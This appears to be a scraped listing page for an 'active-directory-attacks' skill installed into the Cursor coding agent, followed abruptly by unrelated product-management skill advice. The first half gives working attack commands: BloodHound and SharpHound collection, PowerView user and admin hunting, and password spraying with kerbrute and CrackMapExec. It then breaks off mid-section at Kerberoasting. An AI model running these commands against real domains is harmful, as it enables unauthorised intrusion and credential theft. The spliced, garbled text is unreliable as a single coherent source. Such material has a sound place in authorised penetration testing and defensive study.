Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
Fetches active-directory-attacks from davila7/claude-code-templates and configures it for Cursor.
3
Select Cursor when prompted
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
◆ Which agents do you want to install to?
│
│ ── Universal (.agents/skills) ────────────────
│ · Cline · Codex · Goose · Windsurf
│ ●Cursor(selected)
│ · Cursor · Aider · Continue
4
Verify installation
Confirm successful installation by checking the skill directory location:
.cursor/skills/active-directory-attacks
Restart Cursor to activate active-directory-attacks. Access via /active-directory-attacks in your agent's command palette.
⚠
Security Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
# Detect clock skewnmap -sT10.10.10.10 -p445--script smb2-time
# Fix clock on Linuxsudodate-s"14 APR 2024 18:25:16"# Fix clock on Windowsnet time /domain /set
# Fake clock without changing system timefaketime -f'+8h'<command>
Step 2: AD Reconnaissance with BloodHound
# Start BloodHoundneo4j console
bloodhound --no-sandbox
# Collect data with SharpHound.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass
# Python collector (from Linux)bloodhound-python -u'user'-p'password'-d domain.local -ns10.10.10.10 -c all
Step 3: PowerView Enumeration
# Get domain infoGet-NetDomainGet-DomainSIDGet-NetDomainController# Enumerate usersGet-NetUserGet-NetUser-SamAccountName targetuser
Get-UserProperty-Properties pwdlastset
# Enumerate groupsGet-NetGroupMember-GroupName "Domain Admins"Get-DomainGroup-Identity "Domain Admins"|Select-Object-ExpandProperty Member
# Find local admin accessFind-LocalAdminAccess-Verbose
# User huntingInvoke-UserHunterInvoke-UserHunter-Stealth
Credential Attacks
Password Spraying
# Using kerbrute./kerbrute passwordspray -d domain.local --dc10.10.10.10 users.txt Password123
# Using CrackMapExeccrackmapexec smb 10.10.10.10 -u users.txt -p'Password123' --continue-on-success
Kerberoasting
Extract service account TGS tickets and crack offline:
›Access to product documentation and roadmap tools (Jira, Notion, etc.)
›Understanding of product management frameworks (RICE, Jobs-to-be-Done, etc.)
›Stakeholder contact information and communication channels
Time Estimate
30-60 minutes to see productivity improvements
Steps
1Install product management skill
2Start with user story generation for known feature
3Progress to competitive analysis: research 2-3 competitors
4Use for roadmap prioritization: apply RICE/ICE scoring
5Draft stakeholder communications and refine based on feedback
6Build template library for recurring PM tasks
7Share effective prompts with product team
Common Pitfalls
⚠Not validating competitive research—verify facts before sharing
⚠Accepting user stories without involving engineering team
⚠Over-relying on frameworks without qualitative judgment
⚠Not customizing outputs to company culture and communication style
⚠Skipping stakeholder validation of generated requirements
Best Practices
✓ Do
+Validate research and competitive analysis with real data
+Collaborate with engineering when generating technical requirements
+Customize frameworks and templates to your company context
+Use skill for first drafts, refine with stakeholder input
+Document successful prompt patterns for PM tasks
+Combine AI efficiency with human judgment and intuition
✗ Don't
−Don't publish competitive analysis without fact-checking
−Don't finalize user stories without engineering review
−Don't make prioritization decisions solely on AI scoring
−Don't skip customer validation of generated requirements
−Don't ignore company-specific context and culture
💡 Pro Tips
★Provide context: company goals, constraints, customer feedback
★Ask for alternatives: 'Show 3 ways to prioritize this roadmap'
★Request stakeholder-specific formatting: 'Executive summary vs. engineering spec'
★Use skill for 70% generation + 30% customization to company needs
When to Use This
✓ Use when
Use for user story writing, competitive research, roadmap prioritization, stakeholder communication, and PRD drafting. Best for reducing repetitive documentation and research work.
✗ Avoid when
Avoid for strategic product vision (requires deep customer empathy), pricing decisions (needs market and financial expertise), or when face-to-face customer discovery is more valuable than speed.
Learning Path
1Basic: user stories, feature specs, status updates
